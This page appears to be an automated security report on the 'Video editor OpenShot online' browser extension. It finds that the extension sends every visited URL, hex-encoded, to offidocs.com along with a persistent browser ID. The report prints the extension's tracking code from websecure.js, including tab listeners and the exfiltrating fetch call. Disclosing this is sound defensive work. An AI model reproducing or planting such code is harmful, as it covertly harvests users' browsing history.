Is Video editor OpenShot online safe?
OpenShot is high risk. Dynamic analysis captured GET requests to offidocs.com on every navigation. Each visited URL, including pages unrelated to video editing, is hex-encoded and sent with a 10-char browser ID. Three navigations shared one ID in a session.…
Who publishes itofficeonlinesystems - 26 other listings from the same operator, 17 of them carrying a finding
officeonlinesystems - 26 other listings from the same operator, 17 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
19 other listings published from this account, 1.5M+ users between them. 14 of them carry a finding.
Same operator - 7 listings
Published under a different store account, but sharing the registered address, contact or declared legal entity this one gave the store.
Shared hosts - 1 hostname
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Every URL you visit is transmitted to offidocs.com with a persistent user ID
Dynamic analysis captured GET requests to offidocs.com on every navigation.
Each visited URL, including pages unrelated to video editing, is hex-encoded and sent with a 10-char browser ID.
Three navigations shared one ID in a session.
You navigate to any webpage not on offidocs.com.
The extension hex-encodes your page URL and sends it to offidocs.com via a GET request, along with a persistent 10-character ID tied to your browser.
This fires on every tab activation and every navigation update, regardless of whether you are using the extension.
The visited page URL is passed through a custom hex-encoding function (bin2hex) before being included in the query parameter. This makes the tracking destination less obvious when inspecting network traffic.
https://www.google.com/
| Field | Value | Why it matters | |
|---|---|---|---|
Page URL (hex-encoded) | 68747470733a2f2f7777772e616d617a6f6e2e636f6d2f | The exact address of every page you visit, encoded so it is less recognizable at a glance. | |
User identifier | qfyyih63ol | A 10-character random ID generated when the extension first runs and stored permanently, used to link all your visits together. |
Navigation listener and tracking fetch (websecure.js)
function websecure() {
this.init = function () {
chrome.tabs.onActivated.addListener(function(activeInfo) {
activeTabId = activeInfo.tabId;
getTabInfo(activeTabId);
});
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
getTabInfo(tabId);
});
};
}async function extractvideo(urlxx) {
const offidocs_key = "offidocs_key";
var datax = { username: null, offidocscloud: null };
let storageResult = await chrome.storage.local.get([offidocs_key]);
if (offidocs_key in storageResult) { datax = storageResult[offidocs_key]; }
if (!datax.username) {
datax.username = randomString(10);
}
if (!datax.offidocscloud) {
datax.offidocscloud = "1"; // default: tracking enabled
}
await chrome.storage.local.set({ [offidocs_key]: datax });
if (datax.offidocscloud == "0") return; // only skipped if user explicitly opts out
let responsecheck = await fetch(
'https://www.offidocs.com/media/system/app/checkdownloadopenshotx_2_nav.php?filepath='
+ bin2hex(urlxx) + '&hex=1&u=' + datax.username
);
}- www.offidocs.com
Receives the hex-encoded URL and user ID on every navigation. Operated by the developer (OffidocsGroup), which stores all tracked browsing history.
Permanent browser identifier links all your visits at offidocs.com
Dynamic analysis confirmed the extension generates a 10-char random ID on first navigation, stores it locally, and appends it as 'u' on every request.
The same ID (qfyyih63ol) recurred across three navigations and survived a restart.
The extension runs for the first time after install and processes a navigation event.
A permanent 10-character identifier is generated and written to local storage, where it is retrieved on every future visit and sent to offidocs.com.
Once created, the ID cannot be reset through any user-facing setting in the extension.
'username' is your permanent tracking ID sent with every record. 'offidocscloud' controls tracking, defaults '1' (on); set '0' to stop.
chrome.storage.local key 'offidocs_key'{
"username": "qfyyih63ol",
"offidocscloud": "1"
}User ID generation and persistence (websecure.js)
async function extractvideo(urlxx) {
const STORAGE_KEY = "offidocs_key";
// Load existing tracking state from local storage
let storageResult = await chrome.storage.local.get([STORAGE_KEY]);
let trackingData = (STORAGE_KEY in storageResult)
? storageResult[STORAGE_KEY]
: { username: null, offidocscloud: null };
// Generate a permanent user ID if one doesn't exist yet
if (!trackingData.username) {
trackingData.username = randomString(10).toLowerCase();
}
// Default tracking to enabled ('1'); user must explicitly set '0' to stop
if (!trackingData.offidocscloud) {
trackingData.offidocscloud = "1";
}
// Persist to local storage — survives browser restarts
await chrome.storage.local.set({ [STORAGE_KEY]: trackingData });
}| Field | Value | Why it matters | |
|---|---|---|---|
Tracking ID | qfyyih63ol | A unique token stored in your browser that lets offidocs.com link all your page visits to one profile across separate sessions. | |
Browsing history linkage | https://www.amazon.com/ → 68747470733a2f2f7777772e616d617a6f6e2e636f6d2f | Every URL sent to offidocs.com is tagged with this ID, building a persistent server-side log of your browsing activity tied to your browser. |
What it can do
Permissions this extension asks for, as declared in version 2.3.6. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
See the address and title of every tab you have open
tabs